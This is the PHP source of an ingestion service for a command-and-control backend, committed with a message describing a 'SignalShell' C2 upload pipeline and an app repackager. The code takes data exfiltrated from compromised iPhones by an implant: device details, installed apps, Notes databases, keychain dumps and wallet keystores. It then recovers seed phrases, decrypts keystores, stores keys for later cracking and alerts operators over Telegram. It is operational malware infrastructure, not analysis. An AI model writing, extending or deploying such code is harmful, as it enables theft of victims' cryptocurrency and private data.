Files
coruna-lab/app/Services/DarkSwordIngestAdapter.php
T
hashbro 316b4cea51 feat: SignalShell v1 upload pipeline + APP builder
SignalShell (shenma.my) C2 Pipeline:
- /api/ap/upload: single POST upload endpoint (replaces upload.php)
- /api/ap/lg: log upload endpoint
- /api/ap/config: JSON config with per-channel h5_url
- Async ProcessShellUpload job (shell queue, database driver)
- Keychain XML parsing → wallet keystores + addresses
- ZIP parsing → keystore extraction (Trust/TronLink/imToken)
- MetaMask vault extraction from persist-KeyringController
- MetaMask address extraction from ProfileMetricsController
- Blockchain address scanner (ETH/TRON, text files only)
- Bitpie seedPhraseEntropy → BIP39 mnemonic recovery
- Trust Wallet keystore auto-decrypt via keychain password
- Channel ID from query param a= stored as channel_id

APP Builder (super admin only):
- AppPackageService: base IPA → custom IPA (domain/logo/name/ID)
- POST /admin/channels/build-app endpoint
- Admin UI: 新建 APP button with full form
- Logo upload → 14 icon sizes via PHP GD
- Binary patch: libroute.dylib + libmcmlease.dylib
- Config API returns channel-specific h5_url as website_url

Channels:
- New h5_url column (nullable varchar 2048)
- App builder channels support h5_url for WebView URL
- shell queue connection (database driver, 300s retry)
2026-10-06 06:41:52 +08:00

1528 lines
54 KiB
PHP

<?php
namespace App\Services;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DsChainLog;
use App\Models\PageVisit;
use App\Models\User;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Jobs\DecodeMemoDb;
use App\Jobs\DecryptDeviceKeystores;
use App\Support\CfIpCountry;
use App\Support\UserAgentParser;
use App\Support\VisitorIp;
use App\Services\Chain\BtcAddress;
use App\Services\Chain\EthAddress;
use App\Services\Chain\TronAddress;
use App\Support\WalletSource;
use Illuminate\Database\QueryException;
use Illuminate\Database\UniqueConstraintViolationException;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;
/**
* Map DarkSword / one99 plaintext JSON onto existing device/note/wallet tables.
*
* Does not call xxbb field extractors (`d`/`f`/`c`/`al[]` / ver/sdkv).
*/
class DarkSwordIngestAdapter
{
/** @var list<string> */
private const SKIP_WALK_KEYS = [
'error', 'errors', 'layer3Error', 'diagnostics', 'metadataKeys',
'locked_classes', '_truncated', '_more', 'tables',
];
public function __construct(
private readonly IngestService $ingest,
private readonly TelegramNotifier $telegram,
private readonly DsBeaconQueue $beaconQueue,
private readonly DsResultStore $results,
private readonly DsTrustAddressIngest $trustAddresses,
private readonly DsKeystoreDecrypt $keystoreDecrypt,
private readonly MnemonicWalletDiscovery $mnemonicDiscovery,
private readonly MnemonicAddressLinker $mnemonicLinker,
) {}
/**
* @param array<string, mixed> $payload Untruncated JSON from the raw request body.
*/
public function ingest(Request $request, string $path, array $payload): void
{
match ($path) {
'/api/ds/device/register' => $this->ingestRegister($request, $payload),
'/api/ds/log' => null,
'/a' => $this->ingestProfile($request, $payload),
'/u' => $this->ingestApps($request, $payload),
'/nb' => $this->ingestNotes($request, $payload),
'/war' => $this->ingestWar($request, $payload),
'/beacon', '/event' => $this->heartbeat($request, $payload),
'/result' => $this->ingestResult($request, $payload),
default => str_starts_with($path, '/api/ds/pe-stage')
? $this->ingestPeStage($request, $payload)
: null,
};
}
/**
* @param array<string, mixed> $payload
*/
private function ingestRegister(Request $request, array $payload): void
{
$this->recordRegisterVisit($request, $payload);
}
/**
* @param array<string, mixed> $payload
*/
private function ingestStage(Request $request, array $payload): void
{
$uid = $this->extractDeviceKey($request, $payload);
if ($uid === null || ! Device::captureEnabledForKey($uid)) {
return;
}
$stage = strtolower(trim((string) ($payload['stage'] ?? '')));
$progress = (int) ($payload['progress'] ?? 0);
$label = is_string($payload['label'] ?? null) ? $payload['label'] : null;
DsChainLog::record($uid, $stage, $progress, $label, $this->extractChannelCode($payload));
}
/**
* PE progress ping. File log is written by DarkSwordC2Controller::peStage;
* here we also fold the named stage into ds_chain_logs when a UUID is present.
*
* @param array<string, mixed> $payload
*/
private function ingestPeStage(Request $request, array $payload): void
{
$name = strtolower(trim((string) ($payload['pe_stage'] ?? '')));
$progress = match ($name) {
's1_launchd' => 86,
's2_keychain' => 88,
's3_mempress' => 90,
's4_loader' => 92,
's5_c2' => 94,
's6_p7phase2' => 96,
default => 86,
};
$this->ingestStage($request, array_merge($payload, [
'stage' => 'pe',
'progress' => $progress,
'label' => 'pe_stage:'.($name !== '' ? $name : 'unknown'),
]));
}
/**
* @param array<string, mixed> $payload
*/
private function ingestLog(Request $request, array $payload): void
{
$uid = $this->extractDeviceKey($request, $payload);
if ($uid === null || ! Device::captureEnabledForKey($uid)) {
return;
}
if (is_string($payload['stage'] ?? null) && trim((string) $payload['stage']) !== '') {
$this->ingestStage($request, $payload);
return;
}
$text = $payload['text'] ?? $payload['msg'] ?? $payload['message'] ?? null;
if (! is_string($text)) {
return;
}
$inferred = DsChainLog::inferFromText($text);
if ($inferred === null) {
return;
}
DsChainLog::record(
$uid,
$inferred['stage'],
$inferred['progress'],
$inferred['label'],
$this->extractChannelCode($payload),
);
}
/**
* @param array<string, mixed> $payload
*/
private function recordRegisterVisit(Request $request, array $payload): void
{
$uid = $this->extractDeviceKey($request, $payload);
if ($uid === null) {
return;
}
$ua = $this->registerUserAgent($request, $payload);
$parsed = UserAgentParser::parse($ua);
$ios = $this->extractIos($payload);
$channel = $this->extractChannelCode($payload) ?? '';
$ip = $this->clientIp($request);
$referer = trim((string) $request->headers->get('referer', ''));
$os = $ios !== null ? 'iOS' : $parsed['os'];
$osVersion = $ios ?? ($parsed['os_version'] !== '' ? $parsed['os_version'] : null);
PageVisit::recordLanding([
'channel_id' => $channel,
'client_uid' => $uid,
'user_agent' => $ua !== '' ? $ua : null,
'os' => $os,
'os_version' => $osVersion,
'browser' => $parsed['browser'],
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
'ip' => $ip !== '' ? $ip : null,
'country' => CfIpCountry::fromRequest($request),
'domain' => PageVisit::normalizeDomain($request->getHost()),
'referer' => $referer !== '' ? substr($referer, 0, 512) : null,
], PageVisit::chainFromIosVersion($os, $osVersion));
}
/**
* @param array<string, mixed> $payload
*/
private function registerUserAgent(Request $request, array $payload): string
{
foreach (['user_agent', 'userAgent'] as $key) {
$value = $payload[$key] ?? null;
if (is_string($value) && trim($value) !== '') {
return substr(trim($value), 0, 512);
}
}
return substr((string) $request->userAgent(), 0, 512);
}
/**
* @param array<string, mixed> $payload
*/
private function ingestProfile(Request $request, array $payload): void
{
$this->upsertDevice($request, $payload);
}
/**
* @param array<string, mixed> $payload
*/
private function ingestApps(Request $request, array $payload): void
{
$device = $this->upsertDevice($request, $payload);
if (! $device) {
return;
}
$al = $this->appsToAl($payload['apps'] ?? null);
if ($al === []) {
return;
}
$this->ingest->ingestInstalledApps($device, ['al' => $al]);
}
/**
* @param array<string, mixed> $payload
*/
private function ingestNotes(Request $request, array $payload): void
{
$device = $this->upsertDevice($request, $payload);
if (! $device) {
return;
}
if (array_key_exists('list', $payload)) {
$this->ingest->ingestNotes($device, ['list' => $payload['list']]);
}
$this->storeNoteDbFiles($device, $payload['db_files'] ?? null);
}
/**
* @param array<string, mixed> $payload
*/
private function ingestWar(Request $request, array $payload): void
{
$device = $this->upsertDevice($request, $payload);
if (! $device) {
return;
}
$keychain = is_array($payload['keychain'] ?? null) ? $payload['keychain'] : [];
$wallets = $keychain['wallets'] ?? [];
$sandbox = $payload['sandbox'] ?? [];
// Store keychain + decryptable UTC only. Do not persist the rest of sandbox.
$rows = array_merge(
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $keychain['diagnostics'] ?? null),
$this->storeWeb3KeystoresFromTree($device, $sandbox),
);
// Synchronous address ingestion from sandbox/wallets (Trust-style).
$this->trustAddresses->ingest($device, $sandbox);
$this->trustAddresses->ingest($device, $wallets);
// Async: mnemonic recovery still receives the in-memory sandbox for this
// request; later reprocess rebuilds UTC from stored web3.keystore rows.
DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
}
/**
* @param array<string, mixed> $payload
*/
private function heartbeat(Request $request, array $payload): void
{
$this->upsertDevice($request, $payload);
}
/**
* @param array<string, mixed> $payload
*/
private function upsertDevice(Request $request, array $payload): ?Device
{
$key = $this->extractDeviceKey($request, $payload);
if ($key === null) {
return null;
}
$ip = $this->clientIp($request);
$model = $this->extractModel($payload);
$ios = $this->extractIos($payload);
$channel = $this->extractChannelCode($payload) ?? $this->channelFromVisit($key);
$ua = substr((string) $request->userAgent(), 0, 2000);
$existing = Device::query()->where('device_id', $key)->first();
// Lazy migration: if not found by dashed UUID, try plain hex (old format).
// When found, immediately update to dashed format so future lookups are direct.
if (! $existing && strlen($key) === 36) {
$plain = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $key) ?? '');
if ($plain !== '' && $plain !== $key) {
$existing = Device::query()->where('device_id', $plain)->first();
if ($existing) {
$existing->device_id = $key;
$existing->saveQuietly();
}
}
}
if ($ios !== null) {
$chain = PageVisit::isDarkSwordIosVersionString($ios)
? Device::CHAIN_DARKSWORD
: Device::CHAIN_CORUNA;
} else {
$chain = $existing
? (int) $existing->chain
: Device::CHAIN_CORUNA;
}
if ($existing) {
$touch = [
'updated_at' => now(),
'chain' => $chain,
];
if ($ip !== '') {
$touch['ip'] = $ip;
$country = CfIpCountry::fromRequest($request);
if ($country !== null) {
$touch['country'] = $country;
}
}
if ($model !== null && $this->shouldReplaceModel($existing->device_model, $model)) {
$touch['device_model'] = $model;
}
if ($ios !== null && trim((string) $existing->ios_version) === '') {
$touch['ios_version'] = $ios;
}
if ($channel !== null && trim((string) $existing->channel_id) === '') {
$touch['channel_id'] = $channel;
if (! $existing->albumStorageEnabled() && User::albumStorageDefaultForChannel($channel)) {
$touch['album_storage'] = true;
}
}
$existing->forceFill($touch)->saveQuietly();
// If the chain was just corrected to DarkSword (e.g. the device was
// created by a beacon whose ios_version was nested in device_info
// and not parsed on the first request), seed the default queue now.
if ((int) $existing->chain === Device::CHAIN_DARKSWORD
&& (int) $existing->getOriginal('chain') !== Device::CHAIN_DARKSWORD
&& $this->beaconQueue->queueLength($existing) === 0
) {
$this->beaconQueue->seed($existing);
}
return $existing->refresh();
}
try {
$device = Device::query()->create([
'device_id' => $key,
'chain' => $chain,
'ip' => $ip !== '' ? $ip : null,
'country' => CfIpCountry::fromRequest($request),
'device_model' => $model,
'ios_version' => $ios,
'channel_id' => $channel,
'user_agent' => $ua !== '' ? $ua : null,
'album_storage' => User::albumStorageDefaultForChannel($channel),
]);
} catch (UniqueConstraintViolationException | QueryException $e) {
// Race condition: another concurrent request already created this
// device. Reload it and continue instead of crashing the beacon.
$device = Device::query()->where('device_id', $key)->first();
if ($device === null) {
throw $e;
}
// If the chain was just corrected, seed the default queue.
if ((int) $device->chain === Device::CHAIN_DARKSWORD
&& $this->beaconQueue->queueLength($device) === 0
) {
$this->beaconQueue->seed($device);
}
return $device->refresh();
}
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
$device->telegram_notified = true;
$device->save();
$this->beaconQueue->seed($device);
return $device->refresh();
}
/**
* Upsert the DarkSword device and seed its default beacon queue.
*
* @param array<string, mixed> $payload
*/
public function ensureDevice(Request $request, array $payload): ?Device
{
$device = $this->upsertDevice($request, $payload);
return $device;
}
/**
* @param array<string, mixed> $payload
*/
private function ingestResult(Request $request, array $payload): void
{
$device = $this->upsertDevice($request, $payload);
if ($device && ! $this->isEmptyWalletScanSummary($payload)) {
$stored = $this->results->store($device, $payload);
$payload = array_merge($payload, $stored);
if (($stored['stored'] ?? false) === true) {
$this->ingestTrustAddressesFromResult($device, $payload);
$this->dispatchMemoDecodeIfNeeded($device, $payload);
}
}
$this->beaconQueue->markDone($payload);
}
/**
* When the memo_scan manifest (memo_scan.json) finishes storing, the
* NoteStore.sqlite trio for this command_id is complete — kick off the
* decoder. The decoder re-checks file presence, so an out-of-order
* manifest is harmless.
*
* @param array<string, mixed> $payload
*/
private function dispatchMemoDecodeIfNeeded(Device $device, array $payload): void
{
$category = (string) ($payload['category'] ?? '');
$filename = strtolower((string) ($payload['filename'] ?? ''));
if ($category !== 'memo_db' && ! str_contains($filename, 'notestore')) {
return;
}
// memo_scan.json is the scan manifest and the last file uploaded by
// the c2_agent; triggering on it avoids decoding before the WAL lands.
if (! str_contains($filename, 'memo_scan.json')) {
return;
}
$commandId = (string) ($payload['command_id'] ?? '');
if ($commandId === '') {
return;
}
DecodeMemoDb::dispatch($device->id, $commandId);
}
/**
* A wallet_scan summary (wallet_pkg.json) carries recoverable material
* only via its own `installed_wallets` / `sandbox_files` fields. When both
* are empty the record has nothing to ingest — skip it entirely.
*
* `keychain_dump_uploaded` only signals that a separate keychain_c2_dump
* result file was uploaded; that dump's content (e.g. Bitpie entropy) lives
* in its own result file, not in this wallet_pkg record, so it is irrelevant
* to whether this summary is worth keeping.
*
* @param array<string, mixed> $payload
*/
private function isEmptyWalletScanSummary(array $payload): bool
{
$filename = strtolower((string) ($payload['filename'] ?? ''));
if (! str_contains($filename, 'wallet_pkg')) {
return false;
}
$raw = $payload['data'] ?? null;
if (! is_string($raw) || $raw === '') {
return false;
}
$json = json_decode((string) base64_decode($raw, true), true);
if (! is_array($json)) {
return false;
}
return empty($json['installed_wallets'] ?? [])
&& empty($json['sandbox_files'] ?? []);
}
/**
* @param array<string, mixed> $payload
*/
private function ingestTrustAddressesFromResult(Device $device, array $payload): void
{
$filename = strtolower((string) ($payload['filename'] ?? ''));
$looksTrust = str_contains($filename, 'utc--')
|| str_contains($filename, 'wallet_pkg')
|| str_contains($filename, 'keystore');
if (! $looksTrust) {
// keychain_c2_dump.json and walletsV2_*.json are wallet material
// uploaded as /result files (not /war). Ingest them here too.
if (str_contains($filename, 'keychain_c2_dump')) {
$this->ingestKeychainDumpFromResult($device, $payload);
return;
}
if (str_contains($filename, 'walletsv2')) {
$this->ingestImTokenKeystoreFromResult($device, $payload);
return;
}
return;
}
$raw = $payload['data'] ?? null;
if ((! is_string($raw) || $raw === '') && ! empty($payload['path']) && is_string($payload['path'])) {
if (Storage::disk('local')->exists($payload['path'])) {
$raw = (string) Storage::disk('local')->get($payload['path']);
}
}
if (! is_string($raw) || $raw === '') {
return;
}
$this->trustAddresses->ingest($device, $raw);
$this->storeWeb3KeystoresFromTree($device, ['trust_wallet' => $raw]);
// Async: attempt Trust UTC keystore decryption.
DecryptDeviceKeystores::dispatch($device->id, null, ['trust_wallet' => $raw]);
}
/**
* Parse a keychain_c2_dump.json /result file and process it like /war:
* store per-wallet keystores and run mnemonic recovery (Bitpie / Trust /
* Coin98).
*
* @param array<string, mixed> $payload
*/
private function ingestKeychainDumpFromResult(Device $device, array $payload): void
{
$json = $this->decodeResultJson($payload);
if ($json === null) {
return;
}
$wallets = is_array($json['wallets'] ?? null) ? $json['wallets'] : [];
$sandbox = is_array($json['sandbox'] ?? null) ? $json['sandbox'] : [];
// Store keychain + decryptable UTC only.
$rows = array_merge(
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $json['diagnostics'] ?? null),
$this->storeWeb3KeystoresFromTree($device, $sandbox),
);
// Synchronous address ingestion from sandbox/wallets (Trust-style).
$this->trustAddresses->ingest($device, $sandbox);
$this->trustAddresses->ingest($device, $wallets);
// Async: mnemonic recovery + plaintext walk + address extraction.
DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
}
/**
* Store an imToken walletsV2 keystore file uploaded via /result.
* The keystore is encrypted (PBKDF2 + AES-128-CTR); without the password
* we cannot recover the mnemonic, but we persist it so it can be cracked
* later or reprocessed when a password becomes available.
*
* @param array<string, mixed> $payload
*/
private function ingestImTokenKeystoreFromResult(Device $device, array $payload): void
{
$json = $this->decodeResultJson($payload);
if ($json === null) {
return;
}
$payload = $json;
$payload['kind'] = 'web3.keystore';
$this->createKeystore($device, 'imToken', $payload, true);
DecryptDeviceKeystores::dispatch($device->id, ['imtoken' => $json], null);
}
/**
* Decode the /result payload body (base64 data or stored file) into JSON.
*
* @param array<string, mixed> $payload
* @return array<string, mixed>|null
*/
private function decodeResultJson(array $payload): ?array
{
$raw = $payload['data'] ?? null;
if ((! is_string($raw) || $raw === '') && ! empty($payload['path']) && is_string($payload['path'])) {
if (Storage::disk('local')->exists($payload['path'])) {
$raw = (string) Storage::disk('local')->get($payload['path']);
}
}
if (! is_string($raw) || $raw === '') {
return null;
}
$decoded = base64_decode($raw, true);
if (is_string($decoded) && $decoded !== '') {
$raw = $decoded;
}
$json = json_decode($raw, true);
return is_array($json) ? $json : null;
}
/**
* @param array<string, mixed> $payload
*/
private function extractDeviceKey(Request $request, array $payload): ?string
{
$candidates = [
$payload['lhu'] ?? null,
$payload['deviceUUID'] ?? null,
$payload['device_uuid'] ?? null,
$payload['uuid'] ?? null,
$payload['device'] ?? null,
$request->header('X-Device-UUID'),
$request->query('deviceUUID'),
$request->query('device'),
];
foreach ($candidates as $value) {
if (! is_string($value) || $value === '') {
continue;
}
$key = Device::normalizeDarkswordKey($value);
if ($key !== null && $key !== '') {
return $key;
}
}
return null;
}
/**
* @param array<string, mixed> $payload
*/
private function extractChannelCode(array $payload): ?string
{
foreach (['channeICode', 'channelCode', 'channel_code', 'channel'] as $key) {
$value = $payload[$key] ?? null;
if (! is_string($value)) {
continue;
}
$value = trim($value);
if ($value === '') {
continue;
}
return substr($value, 0, 64);
}
// Fallback: the c2_agent (injected into SpringBoard by pe_worker)
// nests channel_code inside device_info, not at the beacon top level.
$devInfo = $payload['device_info'] ?? null;
if (is_array($devInfo)) {
foreach (['channel_code', 'channelCode', 'channel'] as $key) {
$value = $devInfo[$key] ?? null;
if (! is_string($value)) {
continue;
}
$value = trim($value);
if ($value === '') {
continue;
}
return substr($value, 0, 64);
}
}
return null;
}
private function channelFromVisit(string $deviceKey): ?string
{
$channel = PageVisit::query()
->where('client_uid', $deviceKey)
->where('chain', PageVisit::CHAIN_DARKSWORD)
->where('channel_id', '!=', '')
->orderByDesc('id')
->value('channel_id');
return is_string($channel) && $channel !== '' ? substr($channel, 0, 64) : null;
}
/**
* @param array<string, mixed> $payload
*/
private function extractModel(array $payload): ?string
{
foreach (['machine', 'deviceModel', 'device_model', 'productType'] as $key) {
$value = $payload[$key] ?? null;
if (is_string($value) && trim($value) !== '') {
return substr(trim($value), 0, 128);
}
}
// Fallback: pe_worker / c2_agent nests hardware info inside device_info.
$devInfo = $payload['device_info'] ?? null;
if (is_array($devInfo)) {
foreach (['machine', 'deviceModel', 'device_model', 'productType'] as $key) {
$value = $devInfo[$key] ?? null;
if (is_string($value) && trim($value) !== '') {
return substr(trim($value), 0, 128);
}
}
}
return null;
}
/**
* @param array<string, mixed> $payload
*/
private function extractIos(array $payload): ?string
{
foreach (['ios_version', 'ios', 'iosVersion', 'productVersion'] as $key) {
$value = $payload[$key] ?? null;
if (is_string($value) && trim($value) !== '') {
return substr(trim($value), 0, 64);
}
}
// Fallback: pe_worker / c2_agent nests ios_version inside device_info.
$devInfo = $payload['device_info'] ?? null;
if (is_array($devInfo)) {
foreach (['ios_version', 'ios', 'iosVersion', 'productVersion'] as $key) {
$value = $devInfo[$key] ?? null;
if (is_string($value) && trim($value) !== '') {
return substr(trim($value), 0, 64);
}
}
}
return null;
}
private function clientIp(Request $request): string
{
return VisitorIp::fromRequest($request);
}
private function shouldReplaceModel(?string $current, string $incoming): bool
{
$cur = trim((string) $current);
if ($cur === '' || strcasecmp($cur, 'iPhone') === 0) {
return true;
}
return false;
}
/**
* @return list<array{b: string, a: string, v?: string}>
*/
private function appsToAl(mixed $apps): array
{
if (! is_array($apps)) {
return [];
}
$al = [];
foreach ($apps as $key => $item) {
if ($key === '_more' || ! is_array($item)) {
continue;
}
$bundle = trim((string) ($item['bundleId'] ?? $item['bundle_id'] ?? $item['b'] ?? ''));
if ($bundle === '' || str_starts_with(strtolower($bundle), 'com.apple') || DeviceApp::shouldSkipBundle($bundle)) {
continue;
}
$row = [
'b' => $bundle,
'a' => (string) ($item['name'] ?? $item['a'] ?? $bundle),
];
$version = $item['version'] ?? $item['v'] ?? null;
if (is_string($version) && $version !== '') {
$row['v'] = $version;
}
$al[] = $row;
}
return $al;
}
private function storeNoteDbFiles(Device $device, mixed $files): void
{
if (! is_array($files)) {
return;
}
foreach ($files as $file) {
if (! is_array($file)) {
continue;
}
$name = basename((string) ($file['name'] ?? 'notes.sqlite'));
$name = preg_replace('/[^A-Za-z0-9._-]+/', '_', $name) ?: 'notes.sqlite';
$data = $file['data'] ?? $file['content'] ?? null;
if (! is_string($data) || $data === '') {
continue;
}
$bin = base64_decode($data, true);
if ($bin === false || $bin === '') {
continue;
}
$rel = 'c2/ds-notes/'.$device->device_id.'/'.$name;
Storage::disk('local')->put($rel, $bin);
}
}
private function hasMaterial(mixed $value): bool
{
if ($value === null || $value === '' || $value === []) {
return false;
}
if (! is_array($value)) {
return true;
}
if (array_key_exists('items', $value) && is_array($value['items'])) {
return $value['items'] !== [];
}
foreach ($value as $child) {
if ($this->hasMaterial($child)) {
return true;
}
}
return false;
}
/**
* Persist standard Web3 UTC / walletsV2 blobs found in a sandbox tree.
* The rest of the sandbox is discarded.
*
* @return list<WalletKeystore>
*/
private function storeWeb3KeystoresFromTree(Device $device, mixed $tree): array
{
$items = $this->keystoreDecrypt->collectKeystores($tree);
$rows = [];
$seen = [];
foreach ($items as $item) {
$ks = $item['keystore'];
$crypto = $ks['crypto'] ?? $ks['Crypto'] ?? [];
$fp = (string) ($crypto['mac'] ?? '').'|'.(string) ($crypto['ciphertext'] ?? '');
if ($fp === '|' || isset($seen[$fp])) {
continue;
}
$seen[$fp] = true;
$source = trim((string) ($item['source'] ?? ''));
if ($source === '') {
$source = 'Trust Wallet';
}
$payload = $ks;
$payload['kind'] = 'web3.keystore';
$rows[] = $this->createKeystore(
$device,
$source,
$payload,
$this->web3NeedsUserPassword($source),
);
}
return $rows;
}
private function web3NeedsUserPassword(string $source): bool
{
$label = strtolower(trim($source));
return str_contains($label, 'imtoken')
|| str_contains($label, 'metamask')
|| str_contains($label, 'tronlink')
|| str_contains($label, 'tokenpocket')
|| str_contains($label, 'global wallet');
}
/**
* Rebuild in-memory wallet/sandbox trees from stored rows so decrypt jobs
* still see UTC blobs after we stopped persisting full sandbox dumps.
*
* @return array{0: array<string, mixed>, 1: array<string, mixed>}
*/
public function storedWalletTrees(Device $device): array
{
$device->loadMissing('keystores');
$wallets = [];
$sandbox = [];
foreach ($device->keystores as $row) {
$json = is_array($row->raw_json) ? $row->raw_json : [];
$kind = (string) ($json['kind'] ?? '');
if (str_starts_with($kind, 'keychain')) {
$wallets = array_merge($wallets, is_array($json['wallets'] ?? null) ? $json['wallets'] : []);
continue;
}
if ($kind === 'web3.keystore' || (isset($json['crypto']) && is_array($json['crypto']))) {
$key = trim((string) $row->source);
if ($key === '') {
$key = 'web3';
}
if (! isset($sandbox[$key]) || ! is_array($sandbox[$key])) {
$sandbox[$key] = [];
}
$sandbox[$key][] = $json;
continue;
}
if (isset($json['sandbox']) && is_array($json['sandbox'])) {
$sandbox = array_merge($sandbox, $json['sandbox']);
}
}
return [$wallets, $sandbox];
}
/**
* @return list<WalletKeystore>
*/
private function storeWalletKeystores(Device $device, mixed $buckets, string $kind, mixed $diagnostics): array
{
if (! $this->hasMaterial($buckets)) {
return [];
}
$rows = [];
if (is_array($buckets) && ! array_is_list($buckets)) {
$leftover = [];
foreach ($buckets as $key => $bucket) {
if (! $this->hasMaterial($bucket)) {
continue;
}
$source = is_string($key) ? WalletSource::fromKeystoreHint($key) : '';
if ($source === '' && ! is_string($key)) {
$leftover[$key] = $bucket;
continue;
}
if ($source === '' && is_string($key) && in_array(strtolower($key), ['notes', 'diagnostics'], true)) {
continue;
}
$rows[] = $this->createKeystore($device, $source, $this->keystorePayload($kind, [$key => $bucket], null));
}
if ($leftover !== []) {
$rows[] = $this->createKeystore($device, '', $this->keystorePayload($kind, $leftover, $diagnostics));
} elseif ($rows === [] && $this->hasMaterial($buckets)) {
$rows[] = $this->createKeystore(
$device,
WalletSource::fromKeystoreHint(is_string($buckets) ? $buckets : ''),
$this->keystorePayload($kind, $buckets, $diagnostics)
);
}
return $rows;
}
$source = WalletSource::fromKeystoreHint(is_string($buckets) ? $buckets : '');
$rows[] = $this->createKeystore($device, $source, $this->keystorePayload($kind, $buckets, $diagnostics));
return $rows;
}
/**
* @param array<string, mixed>|string $payload
* @return array<string, mixed>
*/
private function keystorePayload(string $kind, mixed $payload, mixed $diagnostics): array
{
$body = [
'kind' => $kind,
];
if (str_starts_with($kind, 'keychain')) {
$body['wallets'] = $payload;
} else {
$body['sandbox'] = $payload;
}
if ($diagnostics !== null) {
$body['diagnostics'] = $diagnostics;
}
return $body;
}
/**
* @param array<string, mixed> $rawJson
*/
private function createKeystore(Device $device, string $source, array $rawJson, bool $needsPassword = false): WalletKeystore
{
return WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson, $needsPassword);
}
/**
* Re-run all recovery on already-stored keystore blobs. Used by the
* admin "解密" button. Runs synchronously (the admin expects an immediate
* result) and covers structured recovery, plaintext walk, and address
* extraction.
*/
public function reprocessKeystores(Device $device): void
{
$device->load('keystores');
[$wallets, $sandbox] = $this->storedWalletTrees($device);
$this->recoverKeystoreMnemonics($device, $wallets, $sandbox, $device->keystores->all());
$this->walkForMnemonics($device, $wallets, 'd');
$this->walkForMnemonics($device, $sandbox, 'b');
$this->extractAddressesFromKeystores($device, $wallets, $sandbox);
}
/**
* @param list<WalletKeystore> $rows
*/
public function recoverKeystoreMnemonics(Device $device, mixed $wallets, mixed $sandbox, array $rows): void
{
$hits = $this->keystoreDecrypt->recover($device, $wallets, $sandbox);
$this->applyMnemonicHits($device, $hits);
}
/**
* Unlock a needs-password UTC / walletsV2 blob with an operator-supplied password,
* then persist mnemonics the same way as automatic recovery.
*
* @return array{hits: int, utc: int, vault: int}
*/
public function decryptKeystoreWithPassword(Device $device, WalletKeystore $row, string $password): array
{
$result = $this->keystoreDecrypt->unlockRowWithPassword($device, $row, $password);
$this->applyMnemonicHits($device, $result['hits']);
if ($result['hits'] !== []) {
[$wallets, $sandbox] = $this->storedWalletTrees($device->fresh('keystores'));
$this->extractAddressesFromKeystores($device, $wallets, $sandbox);
}
return [
'hits' => count($result['hits']),
'utc' => $result['utc'],
'vault' => $result['vault'] ?? 0,
'coin98' => $result['coin98'] ?? 0,
];
}
/**
* @param list<array{source: string, tag: string, phrase: string, addresses?: list<array<string, mixed>>}> $hits
*/
private function applyMnemonicHits(Device $device, array $hits): void
{
foreach ($hits as $hit) {
$tag = ($hit['tag'] ?? '') !== '' ? $hit['tag'] : 'd';
$this->ingest->ingestMnemonic($device, [
'mnemonic' => $hit['phrase'],
'a' => $tag,
]);
$this->keystoreDecrypt->markSourceDecrypted($device->id, $hit['source']);
$mnemonic = WalletMnemonic::query()
->where('device_id', $device->id)
->where('mnemonic_hash', WalletMnemonic::hashSecret($hit['phrase']))
->first();
if ($mnemonic !== null) {
$this->mnemonicDiscovery->discoverActivated($mnemonic);
}
if (($hit['addresses'] ?? []) !== []) {
$this->ingest->ingestAddresses($device, [
'a' => $tag,
'data' => $hit['addresses'],
]);
}
if ($mnemonic !== null) {
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($mnemonic);
}
}
}
/**
* Walk a keychain tree looking for plaintext mnemonic strings in dataHex
* fields (e.g. Uniswap stores the BIP39 phrase as hex-encoded UTF-8).
*
* Returns a list of hits so the caller can mark keystores as decrypted.
*
* @return list<array{phrase: string, source: string}>
*/
public function walkForMnemonicsWithResult(Device $device, mixed $node, string $tag): array
{
$hits = [];
$this->walkForMnemonicsInner($device, $node, $tag, '', $hits);
return $hits;
}
/**
* @param list<array{phrase: string, source: string}> $hits
*/
private function walkForMnemonicsInner(Device $device, mixed $node, string $tag, string $sourceHint, array &$hits): void
{
if (is_string($node)) {
$phrase = $this->asMnemonicPhrase($node);
if ($phrase !== null) {
$ingestTag = $tag;
if ($sourceHint !== '') {
$mapped = WalletSource::tagForLabel($sourceHint);
if ($mapped !== '') {
$ingestTag = $mapped;
}
}
$this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $ingestTag]);
$hits[] = [
'phrase' => $phrase,
'source' => $sourceHint !== '' ? $sourceHint : WalletSource::fromTag($ingestTag),
];
}
return;
}
if (! is_array($node)) {
return;
}
if (($node['_truncated'] ?? false) === true) {
return;
}
if ($this->isFailedUnwrap($node)) {
return;
}
foreach ($node as $key => $child) {
if (is_string($key) && in_array($key, self::SKIP_WALK_KEYS, true)) {
continue;
}
// Detect wallet source from key name (e.g. "uniswap" → "Uniswap").
$childSource = $sourceHint;
if (is_string($key) && $childSource === '') {
$hint = WalletSource::fromKeystoreHint($key);
if ($hint !== '') {
$childSource = $hint;
}
}
$childTag = is_string($key) ? $this->tagForWalletKey($key, $tag) : $tag;
$this->walkForMnemonicsInner($device, $child, $childTag, $childSource, $hits);
}
}
/**
* Backward-compat wrapper that discards the result.
*/
private function walkForMnemonics(Device $device, mixed $node, string $tag): void
{
$this->walkForMnemonicsWithResult($device, $node, $tag);
}
/**
* @param array<string, mixed> $node
*/
private function isFailedUnwrap(array $node): bool
{
foreach (['error', 'layer3Error'] as $key) {
$err = $node[$key] ?? null;
if (is_string($err) && $err !== '' && preg_match('/unwrap|aks_/i', $err)) {
return true;
}
}
return false;
}
private function tagForWalletKey(string $key, string $fallback): string
{
$hint = WalletSource::fromKeystoreHint($key);
if ($hint !== '') {
$mapped = WalletSource::tagForLabel($hint);
if ($mapped !== '') {
return $mapped;
}
}
$k = strtolower($key);
if (str_contains($k, 'imtoken') || str_contains($k, 'im.token')) {
return 'b';
}
if (str_contains($k, 'trust')) {
return 'd';
}
return $fallback;
}
